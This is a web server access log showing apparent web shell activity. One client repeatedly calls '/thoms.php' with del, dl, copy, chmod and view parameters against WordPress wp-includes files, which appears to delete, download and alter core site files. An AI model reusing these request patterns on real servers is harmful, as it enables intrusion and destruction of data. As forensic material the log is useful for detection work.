45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?del=option.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=option.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?dl=plugin.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59191 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:33 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:33 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:33 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 200 17558 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:33 -0400] "GET /thoms.php?dl=utf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:33 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 200 21774 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcompat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcompat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /bossini.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /bossini.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?dl=user.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59176 "http://163.245.207.76:443/thoms.php?dl=user.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59109 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 200 22289 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /bossini.com.tw/wp-includes/images/ HTTP/1.1" 200 1900 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:34 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /bossini.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?chmod=SimplePie&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /bossini.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 200 13932 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?chmod=class-IXR.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /bossini.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /bossini.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?del=theme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59188 "http://163.245.207.76:443/thoms.php?del=theme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /bossini.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 200 13625 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:35 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59160 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblocks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblocks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?dl=nav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?chmod=class-wp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:36 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /bossini.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /bossini.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?del=load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 200 20130 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?chmod=sodium_compat&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /bossini.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 200 14008 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 200 13002 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 200 33037 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:37 -0400] "GET /thoms.php?del=functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59084 "http://163.245.207.76:443/thoms.php?del=functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /bossini.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /bossini.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59174 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /thoms.php?chmod=ms-load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 200 22278 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fl10n.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fl10n.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:38 -0400] "GET /thoms.php?del=block-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /bossini.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /thoms.php?dl=ms-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /thoms.php?chmod=rest-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /thoms.php?del=script-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:39 -0400] "GET /bossini.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
